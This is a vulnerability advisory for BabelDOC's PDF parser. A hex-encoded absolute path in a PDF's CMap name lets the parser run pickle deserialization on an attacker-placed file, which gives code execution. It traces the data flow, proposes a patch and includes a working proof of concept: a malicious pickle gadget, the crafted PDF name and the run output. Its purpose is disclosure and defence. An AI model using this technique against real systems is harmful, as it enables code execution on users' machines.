BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The loaddata() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.
// detailsThe vulnerable function is CMapDB.loaddata() at babeldoc/pdfminer/cmapdb.py:232–245:
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # line 233 — only NUL is stripped
filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string
...
for directory in cmap_paths:
path = os.path.join(directory, filename) # line 241 — no realpath/canonical check
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional picklePath injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser.parseliteralhex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.
Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmappaths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.
Data flow from PDF to sink:
- babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.
- babeldoc/main.py:678–679 — path stored in TranslationConfig(inputfile=file).
- babeldoc/format/pdf/highlevel.py:472–488 — translationconfig.inputfile enters the translate pipeline.
- babeldoc/format/pdf/highlevel.py:805–848 — PDF saved to temppdfpath and parsed with parsepreparedpdfwithnewparsertolegacyir.
- babeldoc/format/pdf/newparser/nativeparse.py:60–70 — prepared pages loaded and interpreted.
- babeldoc/format/pdf/newparser/pymupdfpreparedpageaccess.py:25–34 — PyMuPDF opens the PDF and builds page resources.
- babeldoc/format/pdf/newparser/preparedresourcebuilder.py:84–94 — font resources converted to PreparedFontSpec.
- babeldoc/format/pdf/newparser/activefontresourceruntime.py:21–35 — page resource bundle resolves root font map.
- babeldoc/format/pdf/newparser/activefontruntime.py:79–87 — each font spec projected and passed to fontfactory.createfont.
- babeldoc/format/pdf/newparser/activedirectfontbackend.py:291–292, 491–493 — CID fonts call buildcidcmap(spec, literalname=literalname).
- babeldoc/format/pdf/newparser/runtime/cidcmapruntime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.getcmap. normalizecmapname() removes only a single leading /; all other path characters pass through.
- babeldoc/pdfminer/cmapdb.py:233–245 — sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().
Sanitization gaps:
- name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.
- There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
- There is no allowlist of known CMap names nor any integrity verification of the pickle data.
Recommended patch (babeldoc/pdfminer/cmapdb.py):
--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
- path = os.path.join(directory, filename)
+ base_dir = os.path.realpath(directory)
+ path = os.path.realpath(os.path.join(base_dir, filename))
+ try:
+ if os.path.commonpath([base_dir, path]) != base_dir:
+ continue
+ except ValueError:
+ continue
if os.path.exists(path):
gzfile = gzip.open(path)A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.
// pocEnvironment setup (Docker — recommended for isolation):
# From the repository root docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile . docker run --rm vuln-001-babeldoc-cmap
Manual setup (local venv):
python3 -m venv /tmp/babeldoc-poc-venv source /tmp/babeldoc-poc-venv/bin/activate pip install freetype-py==2.5.1 charset-normalizer cryptography export PYTHONPATH=/path/to/BabelDOC python3 poc.py
PoC script (poc.py) — key steps:
import gzip, pathlib, pickle, sys
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
# Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
def __reduce__(self):
return (pathlib.Path(str(PROOF_FILE)).write_text,
("RCE_CONFIRMED: pickle.loads executed attacker payload",))
CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
pickle.dump(MaliciousPayload(), fh)
# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
# Full source in poc.py
# Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
extract_text(str(MALICIOUS_PDF))
except TypeError:
pass # expected: type(name, (), ) fails after write_text returns int
# Step 4 — verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload"Phase 2 dynamic reproduction output (Docker container):
[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz [+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf [*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ... [*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int [*] This exception is expected; the payload ran before it. ============================================================ RESULT: PASS Proof file: /tmp/babeldoc_cmap_rce_proof.txt Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload' ============================================================
The TypeError is benign and expected: writetext() returns an integer, and the subsequent type(name, (), ) call in loaddata() raises before reaching further code. The payload already executed successfully at that point.
Attack path summary:
PDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious -> pdfminer hex-decodes #2F -> '/' -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High